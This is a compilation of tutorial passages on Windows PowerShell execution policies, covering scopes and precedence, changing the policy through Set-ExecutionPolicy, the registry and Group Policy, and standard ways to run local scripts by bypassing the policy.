Get-Item '.Hello World.ps1' -Stream *

Now, run the same command on a script downloaded from the Internet. Notice now Get-Item returns another object completely with a Stream of Zone.Identifier.

Once you know a file has an ADS, you can then use the Get-Content command to discover the zone. The zone defines where the file came from.

Get-Content .Get-CertDetails.ps1 -Stream zone.identifier

Get-Content will return a ZoneId value which represents the zone the file came from.

Possible zone values are:

Zone ID Zone
------- ---------------------
0       My Computer
1       Local Intranet Zone
2       Trusted sites Zone
3       Internet Zone
4       Restricted Sites Zone

Execution Policy Precedence

As covered above, many different execution policies exist at once. All of these execution policies, when combined, dictate the settings of your current session. When you have multiple execution policies in effect, you must have precedence.

Policy precedence is the order in which PowerShell applies different policies set at different scopes. Some execution policies have higher priority than others.

When you run Get-ExecutionPolicy -List, you will find all execution policies currently in effect ordered from lowest priority to highest. For example, since MachinePolicy has a lower priority, the LocalMachine and CurrentUser policies will override it.

Working with Execution Policies

Enough understanding the background of execution policies, let’s now dig into how to work with them! To work with PowerShell’s execution policies, you have two commands at your disposal Get-ExecutionPolicy to discover currently-defined policies and Set-ExecutionPolicy to set new policies.

Getting Currently-Assigned Policies

Before you can begin changing execution policies, you need to learn what you’re working with. To do that, you’ve got the Get-ExecutionPolicy command. This command enumerates all of the currently-assigned policies on a computer.

When you directly run the Get-ExecutionPolicy command on a PowerShell console with no parameters, it will show the execution policy set for your current PowerShell session.

To see the execution policy set to a scope, specify the Scope parameter using the scope name you’d like to see the results for.

Get-ExecutionPolicy -Scope Process
Get-ExecutionPolicy -Scope LocalMachine

To view all scopes and their execution policies, use List parameter as shown below.

Get-ExecutionPolicy -list

Changing Execution Policies

Once you know what execution policies are currently assigned, you can change them too. To change the policy on a single computer, you have the Set-ExecutionPolicy command at your disposal. But, if you’re in an organization, you’ll want to change policies in bulk. If that’s the case, you always have Group Policy if you’re in an Active Directory domain.

Using Set-ExecutionPolicy

Let’s first cover how to change policies with the Set-ExecutionPolicy command. To do so, open up PowerShell as administrator.

Now run the Set-ExecutionPolicy command with a single parameter (ExecutionPolicy) providing the name of the execution policy.

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned

PowerShell will then ask if you’d like to change the execution policy. If you do, type Y or A and hit Enter.

Some PowerShell commands need to run multiple other tasks to operate. If in the example above you enter Y, PowerShell may prompt you to continue for each step. If you press A, it will continue for all the subsequent steps.

Running Set-ExecutionPolicy Without Prompts

By default, when you run Set-ExecutionPolicy, it will prompt you whether or not you want to change the execution policy. You can skip this prompt by adding the Force parameter to your command. Using the Force parameter will suppress all confirmation prompts.

Set-ExecutionPolicy RemoteSigned -Force

Setting PowerShell Execution Policy via Registry

Since most execution policies are stored in the registry (excluding Process), you can also change policies directly via the registry.

To change execution policies via the registry:

1. Open up the Windows Registry Editor (regedit) or your choice of registry editing tool.

2. Navigate to the execution policy scope’s registry key you’d like to change.

LocalMachine – HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

CurrentUser – HKEY_CURRENT_USERSOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

3. Right-click on the registry key and create a new string value called ExecutionPolicy.

4. Double-click on the newly-created ExecutionPolicy string value and enter desired execution policy name (Restricted, RemoteSigned, AllSigned, Unrestricted, or Undefined).

5. Create another string value in the same key called Path. The Path string value represents the path to the PowerShell engine. Ensure the Path value is C:WindowsSystem32WindowsPowerShellv1.0powershell.exe which points to the Windows PowerShell engine.

The CurrentUser execution policy overrides a LocalMachine policy. If you have a CurrentUser policy set in the registry and try to change the execution policy via Set-ExecutionPolicy, which, by default, sets the policy at the LocalMachine scope, PowerShell will return an error shown below.

Setting PowerShell Execution Policy via Group Policy

If you are in an organization with Active Directory, you’re not going to want to go around to all of your Windows machines and run the Set-ExecutionPolicy cmdlet. Instead, you can manage policies in bulk with Group Policy.

To manage execution policies via GPO:

Create the Group Policy Object

1. Open up the Group Policy Management application on a domain controller or on your domain-joined workstation.

2. Expand Domains —> <your Active Directory forest> —> Group Policy Objects.

3. Right-click on Group Policy Objects and click New.

4. Give your GPO a name. In this tutorial, the GPO is called PowerShell Execution Policy.

5. Right-click on the newly-created GPO and click Edit.

6. Navigate to Computer ConfigurationPoliciesAdministrative TemplatesWindows ComponentsWindows PowerShell.

7. Open the setting in the right window pane, open the Turn on Script Execution setting.

8. In the Turn on Script Execution box, Select the Enabled option. You can now select any one of the options shown below:

9. Now change the Execution Policy to your desired policy.

• Allow only signed scripts – Allows all scripts execution when a trusted publisher signs them.
• Allow local scripts and remote signed scripts – Allows local scripts to run but scripts that are downloaded from the internet should be signed by a trusted publisher.
• Allow all scripts – Allows all scripts to run.

Assign the Group Policy Object

Once you have the GPO created, it’s time to assign it to your target computers. To do that, you must assign the GPO to an Active Directory Organizational Unit (OU).

If, instead of creating a new GPO, you edited an existing GPO, that GPO has already probably already been assigned to an OU.

1. In Group Policy Management, navigate to your OU of choice by going to Domains —> <your Active Directory forest> —> <Your OU>.

2. Right-click on the OU and select Link an Existing GPO…

3. Select the GPO just created (PowerShell Execution Policy) and click OK.

You should now see the GPO assigned to the OU as shown below.

At this point, you can either wait for the defined Group Policy refresh interval or run the gpupdate command on a target computer to force a refresh.

Locking Down Local Policy Changes

Once a GPO is in effect that changes the execution policy, local users can no longer change the policy via the local PowerShell console. If they try, they will receive an error, as shown below.

Bypassing the Execution Policy Completely

As mentioned earlier, an execution policy isn’t necessarily meant to be a security measure. Why? Because you can completely bypass it if you’d like in a few different ways.

Using the -ExecutionPolicy Bypass Parameter

Unlike the other execution policies, the Bypass policy is typically set not in the PowerShell console but passed to the powershell.exe engine run as administrator.

For example, to run a script called Hello World.ps1 completely skipping any execution policy, invoke powershell.exe, use the Bypass parameter and provide the file path as shown below.

powershell.exe -executionpolicy bypass -file '.Hello World.ps1'

Reading Scripts and Executing Raw Code

You can also get around any execution policy by first reading the contents of a script and then passing that contents directly to the PowerShell engine. Doing so, runs each command individually and not as a whole script at once.

As you can see below, the execution policy is set to Restricted, but by reading the script and passing it to powershell.exe, it still works.

This approach is similar to opening a script in a PowerShell editor like PowerShell ISE or Visual Studio Code, selecting a line and pressing F8.

Get-Content '.Hello World.ps1' | powershell.exe -noprofile

Conclusion

By now you should know all there is to know about PowerShell execution policies. Even though they’re not technically a security measure, you should still manage them in your organization according to organizational policies.

The error message indicates that the setting you’re trying to define via Set-ExecutionPolicy is overridden by a setting in another scope. Use Get-ExecutionPolicy -List to see which scope has which setting.

PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process          Undefined
  CurrentUser          Undefined
 LocalMachine       RemoteSigned

PS C:> Set-ExecutionPolicy Restricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process         Restricted
  CurrentUser       Unrestricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
.test.ps1 : File C:test.ps1 cannot be loaded because running scripts is
disabled on this system. ...
PS C:> Set-ExecutionPolicy Unestricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Restricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process       Unrestricted
  CurrentUser         Restricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
Hello World!

As you can see, both settings were defined despite the error, but the setting in the more specific scope (Process) still takes precedence, either preventing or allowing script execution.

Since the default scope is LocalMachine the error could be caused by a setting in the CurrentUser or Process scope. However, a more common reason is that script execution was configured via a group policy (either local or domain).

A local group policy can be modified by a local administrator via gpedit.msc (Local Group Policy Editor) as described in this answer.

A domain group policy cannot be superseded by local settings/policies and must be changed by a domain admin via gpmc.msc (Group Policy Management) on a domain controller.

For both local and domain policies the setting can be defined as a computer setting:

Computer Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

or as a user setting:

User Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

The former are applied to computer objects, whereas the latter are applied to user objects. For local polices there is no significant difference between user and computer policies, because user policies are automatically applied to all users on the computer.

A policy can have one of three states (or five states if you count the 3 settings available for the state Enabled separately):

• Not Configured: policy does not control PowerShell script execution.
• Enabled: allow PowerShell script execution.
  • Allow only signed scripts: allow execution of signed scripts only (same as Set-ExecutionPolicy AllSigned).
  • Allow local scripts and remote signed scripts: allow execution of all local scripts (signed or not) and of signed scripts from remote locations (same as Set-ExecutionPolicy RemoteSigned).
  • Allow all scripts: allow execution of local and remote scripts regardless of whether they’re signed or not (same as Set-ExecutionPolicy Unrestricted).
• Disabled: disallow PowerShell script execution (same as Set-ExecutionPolicy Restricted).

Changes made via Set-ExecutionPolicy only become effective when local and domain policies are set to Not Configured (execution policy Undefined in the scopes MachinePolicy and UserPolicy).

By default, Windows settings prevent PowerShell scripts from running. From a security perspective, it is important to restrict untrusted and malicious code from running from PowerShell scripts. The Execution Policy determines the settings for running PowerShell scripts. In this article we’ll look at the available settings for running PS scripts on Windows, how to change the Execution Policy and configure PowerShell script execution policies for domain computers using GPO.

Running PowerShell Scripts Is Disabled on This System

When trying to run any PowerShell script (a PS1 file) on clean Windows 10, the following error occurs:

File C:psscript.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess

You can get the current settings for PowerShell script Execution Policy in Windows using the following command:

Get-ExecutionPolicy

The following PowerShell Execution Policy values are available:

• Restricted – running PowerShell scripts is disabled, you can execute only interactive commands in the PS console;
• AllSigned – only signed PS scripts with a digital signature by a trusted publisher are allowed (you can sign a script using a self-signed certificate and add it to trusted root certificates). When running untrusted scripts, the following warning appears:

  Do you want to run software from this untrusted publisher? File .ps1 is published by CN=test1 and is not trusted on your system. Only run scripts from trusted publishers.

• RemoteSigned – you can run local PowerShell scripts without any restrictions. You can run remote PS files with a digital signature (you cannot run PS1 files downloaded from the Internet or launched from a shared network folder via the UNC path);
• Unrestricted – all PowerShell scripts are allowed to run;

  When trying to run third-party PowerShell scripts, you may be prompted to confirm launch (see below).

• Bypass – running any PS files is allowed (no warnings are displayed). The policy is usually used to run PS scripts automatically without displaying any notifications (for example, when scripts are run via GPO, SCCM, Task Scheduler, etc.) and is not recommended for permanent use;
• Default – resets PowerShell script execution settings to the default ones;

  On Windows 10 the default value for PowerShell Execution Policy is Restricted, and on Windows Server 2016 it is RemoteSigned.

• Undefined – the policy is not set. The Restricted policy is applied to desktop OSs and RemoteSigned for server ones.

How to Allow PowerShell to Run Scripts Using the Execution Policy?

To change the current value of PowerShell script Execution Policy, the Set-ExecutionPolicy cmdlet is used.

For example, let’s allow to run local PS script files:

Set-ExecutionPolicy RemoteSigned

Confirm changing the Execution Policy for PS1 scripts by pressing Y or A.

To avoid showing the confirmation prompt, you may use the Force parameter.

Set-ExecutionPolicy RemoteSigned –Force

If you have set the value of the PowerShell Execution Policy to Unrestricted, you will still see the prompt when trying to run remote scripts from shared folders by the UNC paths or files downloaded from the Internet:

Security warning
Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your computer. If you trust this script, use the
Unblock-File cmdlet to allow the script to run without this warning message.
Do you want to run?
[D] Do not run [R] Run once [S] Suspend [?] Help (default is "D")

How PowerShell differentiates between local and remote scripts? It is due to the ZoneId identifier a browser sets in the alternative stream when downloading a file (see the article How does Windows know if a file was downloaded from the Internet?). You can unblock the file by checking Unblock in the file properties or clear the zone label using the Unblock-File cmdlet.

You must also distinguish between different scopes of PowerShell Execution Policy:

• MachinePolicy – is set using GPO and applies to all users of a computer;
• UserPolicy – also set using GPO and applies to computer users;
• Process — Execution Policy settings are applied to the current PowerShell session only (and reset after the powershell.exe process is terminated);
• CurrentUser – the Execution Policy is applied to the current user only (a parameter of the HKEY_CURRENT_USER registry key);
• LocalMachine is a policy for all users of a computer (a parameter from the HKEY_LOCAL_MACHINE registry key).

You can set the policy scope using the Scope parameter of the Set-ExecutionPolicy cmdlet. For example:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass –Force

Let’s check the current ExecutionPolicy settings for all scopes:

Get-ExecutionPolicy -List

Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Bypass
CurrentUser Undefined
LocalMachine RemoteSigned

The Execution Policy values you set using the Set-ExecutionPolicy cmdlet for CurrentUser and LocalMachine scopes are stored in the registry. For example, run this command:

Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy Restricted –Force

Open the HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell registry key and check the REG_SZ value of the ExecutionPolicy parameter. It should change to Restricted (the allowed parameter values are Restricted, AllSigned, RemoteSigned, Bypass, Unrestricted and Undefined).

The same settings for the CurrentUser scope are located under HKEY_CURRENT_USERSOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell.

Note that the ExecutionPolicy with the AllSigned value on the LocalMachine level is used in a corporate environment the most often. It provides the best balance between security and convenience. For personal use, you can use the RemoteSigned setting on your computer. The Bypass policy may be used only to run some tasks (for example, to run scripts using GPO or tasks in the Task Scheduler).

Set PowerShell Execution Policy in Active Directory Using GPO

You can configure the Execution Policy for PowerShell scripts on servers or domain computers in Active Directory domain using Group Policies.

1. In the domain GPO editor (gpmc.msc), create a new GPO or edit an existing one and link it to the OU containing computers you want to apply the PowerShell script Execution Policy to;
2. Open Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Windows PowerShell in the GPO editor and find the Turn on Script Execution parameter.

   There is the same policy in the user GPO section — User Configuration, but the computer policy has a higher priority.

3. The policy may have three values:
   1. Allow only signed scripts – corresponding to the AllSigned policy
   2. Allow local scripts and remote signed scripts – corresponding to the PS RemoteSigned policy
   3. Allow all scripts – corresponding to the Unrestricted policy
      
4. Set the policy value you want, save the GPO and update Group Policy settings on your computer;
5. Make sure that new execution settings have been applied to the MachinePolicy scope.
   

After configuring the Execution Policy using GPO, you won’t be able to change script execution policy settings manually. If you try to change the Execution Policy settings on a computer the GPO is applied to, the following error appears:

Set-ExecutionPolicy: Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope. Due to the override, your shell will retain its current effective execution policy of RemoteSigned. Type "Get-ExecutionPolicy -List" to view your execution policy settings.

In the same way, you can configure the Execution Policy on a standalone computer using the local GPO editor — gpedit.msc.

How to Bypass the PowerShell Execution Policy on Windows?

There are some tricks that can help you if you want to run a PowerShell script on your computer without changing the Execution Policy settings. For example, I want to run a simple PS1 script that checks if it is run as an administrator.

You can get the script contents using Get-Content and redirect it to the standard input stream of the PS console.

Get-Content c:pscheck_process_elevation.ps1 | PowerShell.exe -noprofile –

Or you can run a new powershell.exe process with the Bypass policy:

powershell.exe -noprofile -executionpolicy bypass -file c:pscheck_process_elevation.ps1